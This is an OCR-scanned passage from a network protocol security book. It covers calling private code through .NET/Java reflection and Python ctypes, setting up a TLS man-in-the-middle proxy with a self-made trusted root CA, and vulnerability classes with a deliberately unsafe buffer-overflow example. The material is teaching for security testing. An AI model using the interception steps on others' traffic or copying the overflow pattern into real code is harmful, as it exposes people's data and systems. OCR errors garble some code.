{
® public PrivatePublicMethod() {}

}

internal class InternalClass
{
® public void InternalPublicMethod() {}

}
private void PrivateMethod() {}

internal void InternalMethod() {}
O public void PublicMethod() {}
}

Listing 8-10: Examples of .NET visibility scopes

Listing 8-10 defines a total of three classes: one public, one private, and
one internal. When you compile against the assembly containing these types,
only publicclass can be directly accessed along with the class’s publicMethod()

(indicated by @ and @); attempting to access any other type or member will

generate an error in the compiler. But notice at @ and @ that public
members are defined. Can’t we also access those members? Unfortunately,
no, because these members are contained inside the scope of a privateclass or
InternalClass. The class’s scope takes precedence over the members’ visibility.

Once you’ve determined whether all the types and members you want to
use are public, you can add a reference to the assembly when compiling. If
you're using an IDE, you should find a method that allows you to add this
reference to your project. But if you’re compiling on the command line
using Mono or the Windows .NET framework, you’ll need to specify the -
reference:<FILEPATH> option to the appropriate C# compiler, CSC or MCS.

Using the Reflection APIs

If all the types and members are not public, you’ll need to use the .NET
framework’s Reflection APIs. You’ll find most of these in the system.Reflection
namespace, except for the Type class, which is under the system namespace.
Table 8-1 lists the most important classes with respect to reflection
functionality.

Table 8-1: .NET Reflection Types

Class name Description




System.Type Represents a single type in an assembly and
allows access to information about its

members

Systen.Reflection.Assembly Allows access to loading and inspecting an
assembly as well as enumerating available
types

System.Reflection.MethodInfo Represents a method in a type

System.Reflection.FieldInfo Represents a field in a type

System.Reflection.PropertyInfo Represents a property in a type

System .Reflection.ConstructorInfo Represents a Class’s constructor

Loading the Assembly

Before you can do anything with the types and members, you’ll need to load
the assembly using the Load() or the LoadFron() method on the Assembly class.
The road() method takes an assembly name, which is an identifier for the
assembly that assumes the assembly file can be found in the same location as

the calling application. The LoadFron() method takes the path to the assembly
file.

For the sake of simplicity, we’ll use LoadFron(), which you can use in most
cases. Listing 8-11 shows a simple example of how you might load an
assembly from a file and extract a type by name.

Assembly asm = Assembly.LoadFrom(@"c:\path\to\assembly.exe");
Type type = asm.GetType("ChatProgram.Connection");

Listing 8-11: A simple assembly loading example

The name of the type is always the fully qualified name including its
namespace. For example, in Listing 8-11, the name of the type being
accessed is Connection inside the chatProgram namespace. Each part of the type
name is separated by periods.

How do you access classes that are declared inside other classes, such as
those shown in Listing 8-10? In C#, you access these by specifying the
parent class name and the child class name separated by periods. The
framework is able to differentiate between chatProgram.Connection, where we



want the class connection in namespace chatProgram, and the child class connection
inside the class chatProgram by using a plus (+) symbol: ChatProgram+Connection
represents a parent/child class relationship.

Listing 8-12 shows a simple example of how we might create an instance

of an internal class and call methods on it. We’ll assume that the class is
already compiled into its own assembly.

internal class Connection

{

internal Connection() {}

public void Connect(string hostname)

{
}

Connect(hostname, 12345);

private void Connect(string hostname, int port)

{
// Implementation...

public void Send(byte[] packet)

{
// Implementation...

public void Send(string packet)

{
// Implementation...

public byte[] Receive()

{
// Implementation...

}

Listing 8-12: A simple C# example class

The first step we need to take is to create an instance of this Connection
class. We could do this by calling cetconstructor on the type and calling it
manually, but sometimes there’s an easier way. One way would be to use the
built-in system.Activator class to handle creating instances of types for us, at
least in very simple scenarios. In such a scenario, we call the method
CreateInstance(), which takes an instance of the type to create and a Boolean
value that indicates whether the constructor is public or not. Because the
constructor is not public (it’s internal), we need to pass true to get the



activator to find the right constructor.

Listing 8-13 shows how to create a new instance, assuming a nonpublic
parameterless constructor.

Type type = asm.GetType("ChatProgram.Connection");
object conn = Activator.CreatelInstance(type, true);

Listing 8-13: Constructing a new instance of the Connection object

At this point, we would call the public connect() method.

In the possible methods of the Ttype class, you'll find the GcetMethod()
method, which just takes the name of the method to look up and returns an
instance of a MethodInfo type. If the method cannot be found, null is returned.
Listing 8-14 shows how to execute the method by calling the 1nvoke() method
on MethodInfo, passing the instance of the object to execute it on and the
parameters to pass to the method.

MethodInfo connect_method = type.GetMethod("Connect");
connect_method.Invoke(conn, new object[] { "host.badgers.com" });

Listing 8-14: Executing a method on a Connection object

The simplest form of cetMethod() takes as a parameter the name of the
method to find, but it will look for only public methods. If instead you want
to call the private connect() method to be able to specify an arbitrary TCP
port, use one of the various overloads of cetmethod(). These overloads take a
BindingFlags enumeration value, which is a set of flags you can pass to
reflection functions to determine what sort of information you want to look
up. Table 8-2 shows some important flags.

Table 8-2: Important .NET Reflection Binding Flags

Flag name Description

BindingFlags.Public L.ook up pubhc members
BindingFlags.NonPublic [ ,ook up nonpublic members (internal or private)

BindingFlags.Instance [.ook up members that can only be used on an
instance of the class

BindingFlags.Static ] ook up members that can be accessed statically
without an instance



To get a Methodinfo for the private method, we can use the overload of
GetMethod(), as shown in Listing 8-15, which takes a name and the binding
flags. We’ll need to specify both Nonpublic and Instance in the flags because we
want a nonpublic method that can be called on instances of the type.

MethodInfo connect_method = type.GetMethod("Connect",
BindingFlags.NonPublic | BindingFlags.Instance);
connect_method.Invoke(conn, new object[] { "host.badgers.com", 9999 });

Listing 8-15: Calling a nonpublic Connect() method

So far so good. Now we need to call the send() method. Because this
method is public, we should be able to call the basic cetrethod() method. But
calling the basic method generates the exception shown in Listing 8-16,
indicating an ambiguous match. What’s gone wrong?

System.Reflection.AmbiguousMatchException: Ambiguous match found.
at System.RuntimeType.GetMethodImpl(...)

at System.Type.GetMethod(String name)
at Program.Main(String[] args)

Listing 8-16: An exception thrown for the Send() method

Notice in Listing 8-12 the connection class has two send() methods: one
takes an array of bytes and the other takes a string. Because the reflection
API doesn’t know which method you want, it doesn’t return a reference to
either; instead, it just throws an exception. Contrast this with the connect()
method, which worked because the binding flags disambiguate the call. If
you're looking up a public method with the name connect(), the reflection
APIs will not even inspect the nonpublic overload.

We can get around this error by using yet another overload of cetMethod()

that specifies exactly the types we want the method to support. We’'ll choose
the method that takes a string, as shown in Listing 8-17.

MethodInfo send_method = type.GetMethod("Send", new Type[] { typeof(string) });
send_method.Invoke(conn, new object[] { "data" });

Listing 8-17: Calling the Send(string) method

Finally, we can call the Recetve() method. It’s public, so there are no
additional overloads and it should be simple. Because Receive() takes no



parameters, we can either pass an empty array or null to Invoke(). Because
Invoke() returns an object, we need to cast the return value to a byte array to
access the bytes directly. Listing 8-18 shows the final implementation.

MethodInfo recv_method = type.GetMethod("Receive");
byte[] packet = (byte[])recv_method.Invoke(conn, null);

Listing 8-18: Calling the Receive() method

Repurposing Code in Java Applications

Java is fairly similar to .INET, so I'll just focus on the difference between
them, which is that Java does not have the concept of an assembly. Instead,
each class is represented by a separate .class file. Although you can combine
class files into a Java Archive (JAR) file, it is just a convenience feature. For
that reason, Java does not have internal classes that can only be accessed by
other classes in the same assembly. However, Java does have a somewhat
similar feature called package-private scoped classes, which can only be
accessed by classes in the same package. (NET refers to packages as a
namespace.)

The upshot of this feature is that if you want to access classes marked as
package scoped, you can write some Java code that defines itself in the same
package, which can then access the package-scoped classes and members at
will. For example, Listing 8-19 shows a package-private class that would be
defined in the library you want to call and a simple bridge class you can
compile into your own application to create an instance of the class.

// Package-private (PackageClass.java)
package com.example;

class PackageClass {
PackageClass() {

PackageClass(String arg) {
}

@0verride

public String toString() {
return "In Package";

}



// Bridge class (BridgeClass.java)
package com.example;

public class BridgeClass {

public static Object create() {
return new PackageClass();
}

}

Listing 8-19: Implementing a bridge class to access a package-private class

You specify the existing class or JAR files by adding their locations to the
Java classpath, typically by specifying the -classpath parameter to the Java
compiler or Java runtime executable.

If you need to call Java classes by reflection, the core Java reflection types
are very similar to those described in the preceding .NET section: Type in
NET is class in Java, MethodInfo is Method, and so on. Table 8-3 contains a short
list of Java reflection types.

Table 8-3: Java Reflection Types

Class name Description

java.lang.Class Represents a single class and allows access to its
members

java.lang.reflect.Method Represents a method in a type

java.lang.reflect.Field Represents a field in a type

java.lang.reflect.Constructor Represents a class’s constructor

You can access a class object by name by calling the class.forNane()
method. For example, Listing 8-20 shows how we would get the packagectass.

Class ¢ = Class.forName("com.example.PackageClass");
System.out.println(c);

Listing 8-20: Getting a class in Java

If we want to create an instance of a public class with a parameterless
constructor, the class instance has a newInstance() method. This won’t work
for our package-private class, so instead we’ll get an instance of the



Constructor by calling getDeclaredConstructor() Oon the class instance. We need to
pass a list of class objects to getbeclaredConstructor() to select the correct
Constructor based on the types of parameters the constructor accepts.
Listing 8-21 shows how we would choose the constructor, which takes a
string, and then create a new instance.

Constructor con = c.getDeclaredConstructor(String.class);

@ con.setAccessible(true);
Object obj = con.newInstance("Hello");

Listing 8-21: Creating a new instance from a private constructor

The code in Listing 8-21 should be fairly self-explanatory except perhaps

for the line at @. In Java, any nonpublic member, whether a constructor,
field, or method, must be set as accessible before you use it. If you don’t call
setAccessible() with the value true, then calling newInstance() will throw an
exception.

Unmanaged Executables

Calling arbitrary code in most unmanaged executables is much more difficult
than in managed platforms. Although you can call a pointer to an internal
function, there’s a reasonable chance that doing so could crash your
application. However, you can reasonably call the unmanaged
implementation when it’s explicitly exposed through a dynamic library. This
section offers a brief overview of using the built-in Python library ctypes to
call an unmanaged library on a Unix-like platform and Microsoft Windows.

There are many complicated scenarios that involve calling into unmanaged code
using the Python ctypes library, such as passing string values or calling C++
functions. You can find several detailed resources online, but this section should
give you enough basics to interest you in learning more about how to use Python
to call unmanaged libraries.

Calling Dynamic Libraries



Linux, macOS, and Windows support dynamic libraries. Linux calls them
object files (.s0), macOS calls them dynamic libraries (.dy/ib), and Windows
calls them dynamic link libraries (.d/). The Python ctypes library provides a
mostly generic way to load all of these libraries into memory and a consistent
syntax for defining how to call the exported function. Listing 8-22 shows a
simple library written in C, which we’ll use as an example throughout the
rest of the section.

#include <stdio.h>
#include <wchar.h>

voild say_hello(void) {
printf("Hello\n");
}

voild say_string(const char* str) {
printf("%s\n", str);
}

voild say_unicode_string(const wchar_t* ustr) {
printf("%ls\n", ustr);
}

const char* get_hello(void) {
return "Hello from C";

}

int add_numbers(int a, int b) {
return a + b;

}

long add_longs(long a, long b) {
return a + b;

}

void add_numbers_result(int a, int b, int* c) {
*C = a + b;

}

struct SimpleStruct
{

const char* str;
int num;

};

voild say_struct(const struct SimpleStruct* s) {
printf("%s %d\n", s->str, s->num);

}

Listing 8-22: The example C library lib.c



You can compile the code in Listing 8-22 into an appropriate dynamic
library for the platform you’re testing. For example, on Linux you can
compile the library by installing a C compiler, such as GCC, and executing
the following command in the shell, which will generate a shared library

lib.so:

gcc -shared -fPIC -o lib.so lib.c

Loading a Library with Python

Moving to Python, we can load our library using the ctypes.cdll.LoadLibrary()
method, which returns an instance of a loaded library with the exported
functions attached to the instance as named methods. For example, Listing
8-23 shows how to call the say_hello() method from the library compiled in
Listing 8-22.

listing8-23.py

from ctypes import *

# On Linux

1ib = cdll.LoadLibrary("./lib.so")

# On macO0S

#1ib = cdll.LoadLibrary("1lib.dylib")

# On Windows

#1ib = cdll.LoadLibrary("lib.d11")

# Or we can do the following on Windows
#1lib = cdll.lib

1ib.say_hello()
>>> Hello

Listing 8-23: A simple Python example for calling a dynamic library

Note that in order to load the library on Linux, you need to specify a
path. Linux by default does not include the current directory in the library
search order, so loading /ib.so would fail. That is not the case on macOS or
on Windows. On Windows, you can simply specify the name of the library
after ¢dl/ and it will automatically add the .d// extension and load the library.

Let’s do some exploring. Load Listing 8-23 into a Python shell, for

example, by running execfile("listing8-23.py"), and you’ll see that Hello is
returned. Keep the interactive session open for the next section.



Calling More Complicated Functions

It’s easy enough to call a simple method, such as say_hello(), as in Listing 8-
23. But in this section, we’ll look at how to call slightly more complicated
functions including unmanaged functions, which take multiple different
arguments.

Wherever possible, ctypes will attempt to determine what parameters are
passed to the function automatically based on the parameters you pass in the
Python script. Also, the library will always assume that the return type of a
method is a C integer. For example, Listing 8-24 shows how to call the
add_numbers() or say_string() methods along with the expected output from the
interactive session.

print 1ib.add _numbers(1, 2)

>>> 3

lib.say_string("Hello from Python");
>>> Hello from Python

Listing 8-24: Calling simple methods

More complex methods require the use of ctypes data types to explicitly
specify what types we want to use as defined in the ctypes namespace. Table
8-4 shows some of the more common data types.

Table 8-4: Python ctypes and Their Native C Type Equivalent

Python ctypes Native C types

c_char, c_wchar char, WChaI‘_t

c_byte, c_ubyte char, unsigned char
c_short, c_ushort short, unsigned short
c_int, c_uint int, unsigned int
c_long, c_ulong long, unsigned long

c_longlong, c_ulonglong long long, unsigned long long (typically 64 bit)
c_float, c_double ﬂoat, double
c_char_p, c_wchar_p char*, wchar_t* (NUL terminated strings)

c_void_p void* (generic pointer)



To specify the return type, we can assign a data type to the lib.name.restype
property. For example, Listing 8-25 shows how to call get_hello(), which
returns a pointer to a string.

# Before setting return type
print lib.get_hello()
>>> -1686370079

# After setting return type
1lib.get_hello.restype = c_char_p
print lib.get_hello()

>>> Hello from C

Listing 8-25: Calling a method that returns a C string

If instead you want to specify the arguments to be passed to a method,
you can set an array of data types to the argtypes property. For example,
Listing 8-26 shows how to call add_tongs() correctly.

# Before argtypes
1ib.add_longs.restype = c_long
print lib.add_longs(0x100000000, 1)

>>> 1

# After argtypes
1ib.add_longs.argtypes = [c_long, c_long]

print lib.add_longs(0x100000000, 1)
>>> 4294967297

Listing 8-26: Specifying argtypes for a method call

To pass a parameter via a pointer, use the byref helper. For example,

add_numbers_result() returns the value as a pointer to an integer, as shown in
Listing 8-27.

i = c_int()

1ib.add_numbers_result(1, 2, byref(i))
print i.value

>>> 3

Listing 8-27: Calling a method with a reference parameter

Calling a Function with a Structure Parameter

We can define a structure for ctypes by creating a class derived from the



structure class and assigning the _fields_ property, and then pass the structure
to the imported method. Listing 8-28 shows how to do this for the
say_struct() function, which takes a pointer to a structure containing a string
and a number.

class SimpleStruct(Structure):
_fields_ = [("str", c_char_p),
("num", c_int)]

s = SimpleStruct()

s.str = "Hello from Struct"
s.num = 100
1ib.say_struct(byref(s))
>>> Hello from Struct 100

Listing 8-28: Calling a method taking a structure

Calling Functions with Python on Microsoft Windows

In this section, information on calling unmanaged libraries on Windows is
specific to 32-bit Windows. As discussed in Chapter 6, Windows API calls
can specify a number of different calling conventions, the most common
being stdcall and cdecl. By using cdll, all calls assume that the function is cdec/,
but the property windll defaults instead to stdcall. If a DLL exports both cdec!
and stdcall methods, you can mix calls through cd// and windll as necessary.

Youw’ll need to comsider more calling scenarios using the Python ctypes library,
such as how to pass back strings or call C++ functions. You can find many
detailed resources online, but this section should have given you enough basics to
interest you in learning more about how to use Python to call unmanaged
libraries.

Encryption and Dealing with TLS

Encryption on network protocols can make it difficult for you to perform
protocol analysis and reimplement the protocol to test for security issues.
Fortunately, most applications don’t roll their own cryptography. Instead,
they utilize a version of 'TLS, as described at the end of Chapter 7. Because



TLS is a known quantity, we can often remove it from a protocol or
reimplement it using standard tools and libraries.

Learning About the Encryption In Use

Perhaps unsurprisingly, SuperFunkyChat has support for a TLS endpoint,
although you need to configure it by passing the path to a server certificate.
The binary distribution of SuperFunkyChat comes with a server.pfx for this
purpose. Restart the chatserver application with the --server_cert parameter, as

shown in Listing 8-29, and observe the output to ensure that TLS has been
enabled.

$ ChatServer --server_cert ChatServer/server.pfx
ChatServer (c) 2017 James Forshaw

WARNING: Don't use this for a real chat system!!!
Loaded certificate, Subject=CN=ExampleChatServer@®
Running server on port 12345 Global Bind False

Running TLS server on port 123460 Global Bind False

Listing 8-29: Running ChatServer with a TLS certificate

Two indications in the output of Listing 8-29 show that TLS has been
enabled. First, the subject name of the server certificate is shown at @.
Second, you can see that TLS server is listening on port 12346 @.

There’s no need to specify the port number when connecting the client
using TLS with the --tis parameter: the client will automatically increment
the port number to match. Listing 8-30 shows how when you add the --tts
command line parameter to the client, it displays basic information about the
connection to the console.

$ ChatClient --tls userl 127.0.0.1
Connecting to 127.0.0.1:12346

@ TLS Protocol: TLS v1.2

® TLS KeyEx : RsaKeyX

®© TLS Cipher : Aes256

O TLS Hash : Sha384

O Cert Subject: CN=ExampleChatServer
O® Cert Issuer : CN=ExampleChatServer

Listing 8-30: A normal client connection



In this output, the TLS protocol in use is shown at @ as TLS 1.2. We can
also see the key exchange @, cipher ©, and hash algorithms @ negotiated. At

6, we see some information about the server certificate, including the name
of the Cert Subject, which typically represents the certificate owner. The

Cert Issuer O is the authority that signed the server’s certificate, and it’s the
next certificate in the chain, as described in “Public Key Infrastructure” on
page 169. In this case, the Cert Subject and Cert Issuer are the same, which
typically means the certificate is self-signed.

Decrypting the TLS Traffic

A common technique to decrypt the TLS traffic is to actively use a man-in-
the-middle attack on the network traffic so you can decrypt the TLS from
the client and reencrypt it when sending it to the server. Of course, in the
middle, you can manipulate and observe the traffic all you like. But aren’t
man-in-the-middle attacks exactly what TLS is supposed to protect against?
Yes, but as long as we control the client application sufficiently well, we can
usually perform this attack for testing purposes.

Adding TLS support to a proxy (and therefore to servers and clients, as
discussed earlier in this chapter) can be a simple matter of adding a single
line or two to the proxy script to add a TLS decryption and encryption layer.
Figure 8-1 shows a simple example of such a proxy.
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Figure 8-1: An example MITM TLS proxy

We can implement the attack shown in Figure 8-1 by replacing the
template initialization in Listing 8-5 with the code in Listing 8-31.



var template = new FixedProxyTemplate();
// Local port of 4445, destination 127.0.0.1:12346
@ template.lLocalPort = 4445;

template.Host = "127.0.0.1";
template.Port = 12346;

var tls = new TlsNetworkLayerFactory();

® template.AddLayer(tls);
template.AddLayer<Parser>();

Listing 8-31: Adding TLS support to capture a proxy

We make two important changes to the template initialization. At @, we
increment port numbers because the client automatically adds 1 to the port

when trying to connect over TLS. Then at @, we add a TLS network layer
to the proxy template. (Be sure to add the TLS layer before the parser layer,
or the parser layer will try to parse the TLS network traffic, which won’t
work so well.)

With the proxy in place, let’s repeat our test with the client from Listing
8-31 to see the differences. Listing 8-32 shows the output.

C:\> ChatClient userl 127.0.0.1 --port 4444 -1
Connecting to 127.0.0.1:4445

@ TLS Protocol: TLS v1.0

® TLS KeyEx : ECDH
TLS Cipher : Aes256
TLS Hash : Shail

Cert Subject: CN=ExampleChatServer
© Cert Issuer : CN=BrokenCA_PleaseFix

Listing 8-32: ChatClient connecting through a proxy

Notice some clear changes in Listing 8-32. One is that the TLS protocol

is now TLS v1.0 @ instead of TLS v1.2. Another is that the Cipher and
Hash algorithms differ from those in Listing 8-30, although the key
exchange algorithm is using Elliptic Curve Diffie-Hellman (ECDH) for

forward secrecy @. The final change is shown in the Cert Issuer ©. The
proxy libraries will autogenerate a valid certificate based on the original one
from the server, but it will be signed with the library’s Certificate Authority
(CA) certificate. If a CA certificate isn’t configured, one will be generated on
first use.



Forcing TLS 1.2

The changes to the negotiated encryption settings shown in Listing 8-32 can
interfere with your successfully proxying applications because some
applications will check the version of TLS negotiated. If the client will only
connect to a TLS 1.2 service, you can force that version by adding this line
to the script:

tls.Config.ServerProtocol = System.Security.Authentication.Ss1Protocols.Tls12;

Replacing the Certificate with Our Own

Replacing the certificate chain involves ensuring that the client accepts the
certificate that you generate as a valid root CA. Run the script in Listing 8-
33 in CANAPE.CIi to generate a new CA certificate, output it and key to a
PFX file, and output the public certificate in PEM format.

generate_ca
_cert.csx

using System.IO;

// Generate a 4096 bit RSA key with SHA512 hash

var ca = CertificateUtils.GenerateCACert("CN=MyTestCA",
4096, CertificateHashAlgorithm.Sha512);

// Export to PFX with no password

File.WriteAllBytes("ca.pfx", ca.ExportToPFX());

// Export public certificate to a PEM file
File.WriteAllText("ca.crt", ca.ExportToPEM());

Listing 8-33: Generating a new root CA certificate for a proxy

On disk, you should now find a ca.pfx file and a ca.crt file. Copy the ca.pfx
file into the same directory where your proxy script files are located, and add
the following line before initializing the TLS layer as in Listing 8-31.

CertificateManager.SetRootCert("ca.pfx");

All generated certificates should now use your CA certificate as the root
certificate.
You can now import ca.crt as a trusted root for your application. The

method you use to import the certificate will depend on many factors, for
example, the type of device the client application is running on (mobile



devices are typically more difficult to compromise). Then there’s the
question of where the application’s trusted root is stored. For example, is it
in an application binary? I'll show just one example of importing the
certificate on Microsoft Windows.

Because it’s common for Windows applications to refer to the system
trusted root store to get their root CAs, we can import our own certificate
into this store and SuperFunkyChat will trust it. To do so, first run
certmgr.nsc either from the Run dialog or a command prompt. You should see
the application window shown in Figure 8-2.
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Figure 8-2: The Windows certificate manager

Choose Trusted Root Certification Authorities » Certificates and
then select Action » All Tasks » Import. An import Wizard should appear.
Click Next and you should see a dialog similar to Figure 8-3.
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Figure 8-3: Using the Certificate Import Wizard file import

Enter the path to ca.crt or browse to it and click Next again.

Next, make sure that Trusted Root Certification Authorities is shown in
the Certificate Store box (see Figure 8-4) and click Next.
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Figure 8-4: The certificate store location

On the final screen, click Finish; you should see the warning dialog box
shown in Figure 8-5. Obviously, heed its warning, but click Yes all the same.

Be very careful when importing arbitrary root CA certificates into your trusted
root store. If someone gains access to your private key, even if you were only
planning to test a single application, they could man-in-the-middle any TLS
connection you make. Never install arbitrary certificates on any device you use
or care about.

Sequrity Waming

You are about 10 install a certificate from a certification authority (CA)
daiming to represent:

MyTestCA

Windows cannot validate that the certificate is actually from "My TestCA"
You should confirm its ongin by contacting "MyTestCA™. The following
number will assist you in this process:

Thumbprint (shal) 1ICB21756 65901C16 0C36DE21 BSEDST92 ABDEAICY
Waming

I yeu install thes root cectificate, Windows will automatically trust any
certificate issued by this CA Installing » certificate with an unconfirmed

thumbprint is a security nisk. If you dick “Yes® you acknowledge this risk.

Do yeu want to install this certificate?

Yes | No

Figure 8-5: A warning about importing a root CA certificate

As long as your application uses the system root store, your TLS proxy
connection will be trusted. We can test this quickly with SuperFunkyChat
using --verify with the ChatClient to enable server certificate verification.



Verification is off by default to allow you to use a self-signed certificate for
the server. But when you run the client against the proxy server with --verify,
the connection should fail, and you should see the following output:

SSL Policy Errors: RemoteCertificateNameMismatch
Error: The remote certificate is invalid according to the validation procedure.

The problem is that although we added the CA certificate as a trusted
root, the server name, which is in many cases specified as the subject of the
certificate, is invalid for the target. As we’re proxying the connection, the
server hostname is, for example, 127.0.0.1, but the generated certificate is
based on the original server’s certificate.

To fix this, add the following lines to specify the subject name for the
generated certificate:

tls.Config.SpecifyServerCert = true;
tls.Config.ServerCertificateSubject = "CN=127.0.0.1";

When you retry the client, it should successfully connect to the proxy and
then on to the real server, and all traffic should be unencrypted inside the
proxy.

We can apply the same code changes to the network client and server
code in Listing 8-6 and Listing 8-8. The framework will take care of
ensuring that only specific TLS connections are established. (You can even
specify TLS client certificates in the configuration for use in performing
mutual authentication, but that’s an advanced topic that’s beyond the scope

of this book.)

You should now have some ideas about how to man-in-the-middle TLS
connections. The techniques you’ve learned will enable you to decrypt and
encrypt the traffic from many applications to perform analysis and security
testing.

Final Words

This chapter demonstrated some approaches you can take to reimplement
your application protocol based on the results of either doing on-the-wire
inspection or reverse engineering the implementation. I’ve only scratched
the surface of this complex topic—many interesting challenges await you as



you investigate security issues in network protocols.



9
THE ROOT CAUSES OF VULNERABILITIES

This chapter describes the common root causes of security vulnerabilities
that result from the implementation of a protocol. These causes are distinct
from vulnerabilities that derive from a protocol’s specification (as discussed
in Chapter 7). A vulnerability does not have to be directly exploitable for it
to be considered a vulnerability. It might weaken the security stance of the
protocol, making other attacks easier. Or it might allow access to more
serious vulnerabilities.

After reading this chapter, you’ll begin to see patterns in protocols that
will help you identify security vulnerabilities during your analysis. (I won’t
discuss how to exploit the different classes until Chapter 10.)

In this chapter, I’ll assume you are investigating the protocol using all
means available to you, including analyzing the network traffic, reverse
engineering the application’s binaries, reviewing source code, and manually
testing the client and servers to determine actual vulnerabilities. Some
vulnerabilities will always be easier to find using techniques such as fuzzing
(a technique by which network protocol data is mutated to uncover issues)
whereas others will be easier to find by reviewing code.

Vulnerability Classes

When you’re dealing with security vulnerabilities, it’s useful to categorize
them into a set of distinct classes to assess the risk posed by the exploitation
of the vulnerability. As an example, consider a vulnerability that, when
exploited, allows an attack to compromise the system an application is
running on.

Remote Code Execution

Remote code execution is a catchall term for any vulnerability that allows an
attacker to run arbitrary code in the context of the application that
implements the protocol. This could occur through hijacking the logic of



the application or influencing the command line of subprocesses created
during normal operation.

Remote code execution vulnerabilities are usually the most security
critical because they allow an attacker to compromise the system on which
the application is executing. Such a compromise would provide the attacker
with access to anything the application can access and might even allow the
hosting network to be compromised.

Denial-of-Service

Applications are generally designed to provide a service. If a vulnerability
exists that when exploited causes an application to crash or become
unresponsive, an attacker can use that vulnerability to deny legitimate users
access to a particular application and the service it provides. Commonly
referred to as a denial-of-service vulnerability, it requires few resources,
sometimes as little as a single network packet, to bring down the entire
application. Without a doubt, this can be quite detrimental in the wrong

hands.

We can categorize denial-of-service vulnerabilities as either persistent or
nonpersistent. A persistent vulnerability permanently prevents legitimate users
from accessing the service (at least until an administrator corrects the issue).
The reason is that exploiting the vulnerability corrupts some stored state
that ensures the application crashes when it’s restarted. A nonpersistent
vulnerability lasts only as long as an attacker is sending data to cause the
denial-of-service condition. Usually, if the application is allowed to restart
on its own or given sufficient time, service will be restored.

Information Disclosure

Many applications are black boxes, which in normal operation provide you
with only certain information over the network. An information disclosure
vulnerability exists if there is a way to get an application to provide
information it wasn’t originally designed to provide, such as the contents of
memory, filesystem paths, or authentication credentials. Such information
might be directly useful to an attacker because it could aid further
exploitation. For example, the information could disclose the location of
important in-memory structures that could help in remote code execution.



Authentication Bypass

Many applications require users to supply authentication credentials to
access an application completely. Valid credentials might be a username and
password or a more complex verification, like a cryptographically secure
exchange. Authentication limits access to resources, but it can also reduce an
application’s attack surface when an attacker is unauthenticated.

An authentication bypass vulnerability exists in an application if there is a
way to authenticate to the application without providing all the
authentication credentials. Such vulnerabilities might be as simple as an
application incorrectly checking a password—for example, because it
compares a simple checksum of the password, which is easy to brute force.
Or vulnerabilities could be due to more complex issues, such as SQL
injection (discussed later in “SQL Injection” on page 228).

Authorization Bypass

Not all users are created equal. Applications may support different types of
users, such as read-only, low-privilege, or administrator, through the same
interface. If an application provides access to resources like files, it might
need to restrict access based on authentication. To allow access to secured
resources, an authorization process must be built in to determine which
rights and resources have been assigned to a user.

An authorization bypass vulnerability occurs when an attacker can gain
extra rights or access to resources they are not privileged to access. For
example, an attacker might change the authenticated user or user privileges
directly, or a protocol might not correctly check user permissions.

Don’t confuse authorization bypass with authentication bypass vulnerabilities.
The major difference between the two is that an authentication bypass allows
you to authenticate as a specific user from the system’s point of view; an
authorization bypass allows an attacker to access a resource from an incorrect
authentication state (which might in fact be unauthenticated).

Having defined the vulnerability classes, let’s look at their causes in more



detail and explore some of the protocol structures in which you’ll find them.
Each type of root cause contains a list of the possible vulnerability classes
that it might lead to. Although this is not an exhaustive list, I cover those you
are most likely to encounter regularly.

Memory Corruption Vulnerabilities

If you've done any analysis, memory corruption is most likely the primary
security vulnerability you’ll have encountered. Applications store their
current state in memory, and if that memory can be corrupted in a
controlled way, the result can cause any class of security vulnerability. Such
vulnerabilities can simply cause an application to crash (resulting in a denial-
of-service condition) or be more dangerous, such as allowing an attacker to
run executable code on the target system.

Memory-Safe vs. Memory-Unsafe Programming
Languages

Memory corruption vulnerabilities are heavily dependent on the
programming language the application was developed in. When it comes to
memory corruption, the biggest difference between languages is tied to
whether a language (and its hosting environment) is memory safe or memory
unsafe. Memory-safe languages, such as Java, C#, Python, and Ruby, do not
normally require the developer to deal with low-level memory management.
They sometimes provide libraries or constructs to perform unsafe operations
(such as C#’s unsafe keyword). But using these libraries or constructs requires
developers to make their use explicit, which allows that use to be audited for
safety. Memory-safe languages will also commonly perform bounds checking
for in-memory buffer access to prevent out-of-bounds reads and writes. Just
because a language is memory safe doesn’t mean it’s completely immune to
memory corruption. However, corruption is more likely to be a bug in the
language runtime than a mistake by the original developer.

On the other hand, memory-unsafe languages, such as C and C++,
perform very little memory access verification and lack robust mechanisms
for automatically managing memory. As a result, many types of memory
corruption can occur. How exploitable these vulnerabilities are depends on



the operating system, the compiler used, and how the application is
structured.

Memory corruption is one of the oldest and best known root causes of
vulnerabilities; therefore, considerable effort has been made to eliminate it.
(I'll discuss some of the mitigation strategies in more depth in Chapter 10
when I detail how you might exploit these vulnerabilities.)

Memory Buffer Overflows

Perhaps the best known memory corruption vulnerability is a buffer overflow.
This vulnerability occurs when an application tries to put more data into a
region of memory than that region was designed to hold. Buffer overflows
may be exploited to get arbitrary programs to run or to bypass security
restrictions, such as user access controls. Figure 9-1 shows a simple buffer
overflow caused by input data that is too large for the allocated buffer,
resulting in memory corruption.
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Figure 9-1: Buffer overflow memory corruption

Buffer overflows can occur for either of two reasons: Commonly referred
to as a fixed-length buffer overflow, an application incorrectly assumes the
input buffer will fit into the allocated buffer. A variable-length buffer overflow
occurs because the size of the allocated buffer is incorrectly calculated.

Fixed-Length Buffer Overflows

By far, the simplest buffer overflow occurs when an application incorrectly
checks the length of an external data value relative to a fixed-length buffer in
memory. That buffer might reside on the stack, be allocated on a heap, or



exist as a global buffer defined at compile time. The key is that the memory
length is determined prior to knowledge of the actual data length.

The cause of the overflow depends on the application, but it can be as
simple as the application not checking length at all or checking length
incorrectly. Listing 9-1 is an example.

def read_string()

{
@ byte str[32];
int 1 = 0;
do
{
@ str[i] = read_byte();
i=1+1;
}

© while(str[i-1] != 0);
printf("Read String: %s\n", str);
}

Listing 9-1: A simple fixed-length buffer overflow

This code first allocates the buffer where it will store the string (on the
stack) and allocates 32 bytes of data @. Next, it goes into a loop that reads a

byte from the network and stores it an incrementing index in the buffer @.
The loop exits when the last byte read from the network is equal to zero,

which indicates that the value has been sent ©.

In this case, the developer has made a mistake: the loop doesn’t verify the
current length at ® and therefore reads as much data as available from the
network, leading to memory corruption. Of course, this problem is due to
the fact that unsafe programming languages do not perform bounds checks

on arrays. This vulnerability might be very simple to exploit if no compiler
mitigations are in place, such as stack cookies to detect the corruption.

é )
UNSAFE STRING FUNCTIONS

The C programming language does not define a string type. Instead, it
uses memory pointers to a list of char types. The end of the string is
indicated by a zero-value character. This isn’t a security problem




directly. However, when the built-in libraries to manipulate strings
were developed, safety was not considered. Consequently, many of
these string functions are very dangerous to use in a security-critical
application.

To understand how dangerous these functions can be, let’s look at
